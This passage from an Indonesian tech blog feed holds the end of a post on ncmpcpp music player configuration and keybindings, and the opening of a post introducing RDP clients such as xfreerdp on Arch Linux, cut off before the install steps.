&lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;playlist_display_mode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;columns&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;browser_display_mode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;columns&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;search_engine_display_mode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;columns&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;playlist_editor_display_mode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;columns&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;autocenter_mode&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;centered_cursor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;user_interface&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;classic&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;follow_now_playing_lyrics&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;locked_screen_width_part&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;50&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;40&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ask_for_locked_screen_width_part&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;display_bitrate&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;no&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;external_editor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;nano&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;main_window_color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;default&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;startup_screen&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;playlist&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# PROGRESS BAR&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;progressbar_look&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;━━━&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#progressbar_look = &quot;▃▃▃&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;progressbar_elapsed_color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;5&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;progressbar_color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;black&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# UI VISIBILITY&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;header_visibility&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;no&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;statusbar_visibility&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;titles_visibility&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enable_window_title&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;yes&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# COLORS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;statusbar_color&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;white&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;color1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;white&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;color2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;blue&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# UI APPEARANCE&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# ---&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;now_playing_prefix&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$b&lt;/span&gt;&lt;span&gt;$2&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;$7&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;69&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;now_playing_suffix&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;  $/b&lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;70&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;current_item_prefix&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$b&lt;/span&gt;&lt;span&gt;$7&lt;/span&gt;&lt;span&gt;$/b&lt;/span&gt;&lt;span&gt;$3&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;71&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;current_item_suffix&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;  &lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;72&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;73&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;song_columns_list_format&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;(50)[]{t|fr:Title} (0)[magenta]{a}&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;74&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;75&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;song_list_format&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot; {%t &lt;/span&gt;&lt;span&gt;$R&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;%a&lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;}|{%f &lt;/span&gt;&lt;span&gt;$R&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;%l&lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;76&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;77&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;song_status_format&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;$b&lt;/span&gt;&lt;span&gt;$6&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;$7&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;$7&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;$6&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$7&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt; %b }|{&lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt; %t }|{&lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt; %f }&lt;/span&gt;&lt;span&gt;$7&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$8&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;78&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;79&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;song_window_title_format&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Now Playing ..&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kurang lebih nanti hasilnya akan seperti ini:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;508&quot; src=&quot;/_astro/gif1.DQrSuCRE_Zk6aL2.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;NCMPCPP Keybindings&lt;a href=&quot;#ncmpcpp-keybindings&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa &lt;em&gt;shortcut&lt;/em&gt; yang bisa kalian gunakan untuk menampilkan playlist, music visualizer, jam, dan yang lainnya adalah sebagai berikut&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Keybind&lt;/th&gt;&lt;th&gt;Function&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;1&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Menampilkan playlist saat ini&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Filesystem browser&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;3&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Pencarian dalam databases&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;4&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Pustaka musik&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;5&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Playlist editor&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;6&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Tag editor&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;7&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Output selector&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;8&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Music visualizer&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;=&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Jam dinding&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;F1&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Help&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Beberapa &lt;strong&gt;shortcut&lt;/strong&gt; lainnya&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;




































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Keybind&lt;/th&gt;&lt;th&gt;Function&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;q&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Keluar&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;f&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Seek forward&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;b&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Seek backward&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;*&lt;em&gt;*&lt;/em&gt;&lt;/td&gt;&lt;td&gt;Mengganti tampilan klasik/alternatif&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;#&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Menampilkan bitrate pada lagu&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;i&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Menampilkan info lagu&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;I&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Menampilkan info artis (tersimpan pada file ~/.ncmpcpp/artists/ARTIST.txt)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;l&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Menampilkan lirik untuk lagu yang sedang diputar&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;L&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Mencari lirik lagi yang terdapat di database&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&amp;gt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Lagu selanjutnya&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;&amp;lt;&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Lagu sebelumnya&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;p&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Play/Pause&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;+&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Menambahkan volume&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;-&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Mengurangi volume&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;F1&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Menampilkan keybinding ncmpcpp&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Cheatsheet ncmpcpp bisa dilihat di sini: &lt;a href=&quot;https://pkgbuild.com/~jelle../images/ncmpcpp/&quot; target=&quot;_blank&quot;&gt;ncmpcpp cheatsheet&lt;/a&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://imam.digmi.id/post/pemutar-musik-dengan-ncmpcpp/&quot; target=&quot;_blank&quot;&gt;https://imam.digmi.id/post/pemutar-musik-dengan-ncmpcpp/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-3&quot;&gt;↩&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://dotshare.it/category/mpd../images/ncmpcpp/&quot; target=&quot;_blank&quot;&gt;http://dotshare.it/category/mpd../images/ncmpcpp/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://pkgbuild.com/~jelle../images/ncmpcpp/&quot; target=&quot;_blank&quot;&gt;https://pkgbuild.com/~jelle../images/ncmpcpp/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>My Remote Desktop Client(s)</title><link>https://shangdi.github.io/posts/tech/rdpclient/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/rdpclient/</guid><description>RDP client sometimes play an important role, doesn&apos;t it? Especially, when you are a sys-admin. So, you must find the most suitable one for getting your work done well.</description><pubDate>Tue, 04 Jun 2024 15:05:26 GMT</pubDate><content:encoded>&lt;p&gt;Holaa!!&lt;/p&gt;
&lt;p&gt;Saya akan berbagi beberapa RDP client yang biasa saya gunakan untuk melakukan remote desktop. BTW, RDP atau &lt;em&gt;Remote Desktop Protocol&lt;/em&gt; adalah salah satu protokol komunikasi dalam jaringan komputer yang dikembangkan awalnya oleh &lt;strong&gt;Microsoft&lt;/strong&gt; untuk melakukan remote akses berbasis GUI (&lt;em&gt;Graphical User Interface&lt;/em&gt;)&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. Kemudian, protokol ini juga dibawa ke &lt;em&gt;environment&lt;/em&gt; linux sehingga RDP tidak hanya dapat digunakan di Windows (as a microsoft product obviously) saja, tetapi juga di linux.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Sederhananya, RDP memungkinkan kita mengakses komputer dari jarak jauh.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Berikut adalah 3 RDP client yang biasa saya gunakan untuk melakukan remote desktop (khususnya di linux - &lt;strong&gt;&lt;a href=&quot;https://archlinux.org/&quot; target=&quot;_blank&quot;&gt;Archlinux&lt;/a&gt;&lt;/strong&gt;, hehe):&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;1. xfreerdp&lt;a href=&quot;#1-xfreerdp&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Tools yang satu ini adalah tools yang paling saya sukai, setidaknya karena 2 hal:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[+]&lt;/strong&gt; Xfreerdp adalah rdp client yang berbasis cli (&lt;em&gt;command line interface&lt;/em&gt;), yang berarti bahwa software ini relatif ringan karena memang tidak memerlukan gui sebagai &lt;em&gt;interface&lt;/em&gt;-nya.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[+]&lt;/strong&gt; Meskipun demikian, xfreerdp juga kaya akan fitur-fiturnya, salah satunya adalah fitur &lt;em&gt;&lt;strong&gt;“dynamic resolution”&lt;/strong&gt;&lt;/em&gt;-nya (kita lihat nanti).&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[-]&lt;/strong&gt; Kekurangannya (walaupun sangat minor - menurut saya) adalah perintah-perintahnya yang tidak familiar, sehingga kalau saya sudah lama tidak menggunakan xfreerdp, saya perlu melihat ulang cara memakainya (re: sulit diingat).&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Install&lt;a href=&quot;#install&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Instalasinya:&lt;/p&gt;


































